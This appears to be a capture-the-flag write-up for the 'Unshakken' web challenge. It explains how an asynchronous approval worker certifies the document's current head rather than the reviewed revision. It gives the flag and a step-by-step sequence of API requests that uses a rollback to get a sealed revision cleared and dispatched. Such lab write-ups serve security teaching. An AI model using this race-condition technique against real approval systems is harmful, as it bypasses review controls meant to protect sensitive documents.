Web Exploitation / Pinaka CTF 2026
Unshakken
Exploit an asynchronous approval that certifies the current document head instead of the revision submitted for review.
Flag
PINAKA{angada_the_unshaken_oath}
Vulnerability
The chancery approves revisions asynchronously. An approval request names one revision, but the scribe later records its verdict against the document's current head. The envoy can change that head with the rollback endpoint while the request is queued. This lets a review of a normal revision clear the original sealed revision.
Exploit
POST /chancery/enrollto obtainsession_idandtoken. Send them asX-SessionandAuthorization: Bearer <token>on subsequent requests.GET /chancery/documentsrevealsdoc_war_terms, whose initial headr_001is sealed.GET /chancery/delegationsshows the envoy has normalreviseanddispatchpermissions.POST /chancery/documents/doc_war_terms/revisionswith{}creates a normal revision,r_002.POST /chancery/documents/doc_war_terms/rollbackwith{"rev_id":"r_001"}makes the sealed revision the head again.POST /chancery/approvalswith{"doc_id":"doc_war_terms","rev_id":"r_002"}queues review of the normal revision. When the worker runs, the audit log shows{"action":"certify","rev":"r_001","verdict":"cleared"}: it has applied that approval to the sealed head.POST /chancery/dispatchwith{"doc_id":"doc_war_terms"}now dispatchesr_001and returns the flag inresponse.
The approval and rollback order matters: the normal revision must exist when review is submitted, and the sealed revision must be the head when the worker processes it. In this instance, rolling back before queueing the review was sufficient.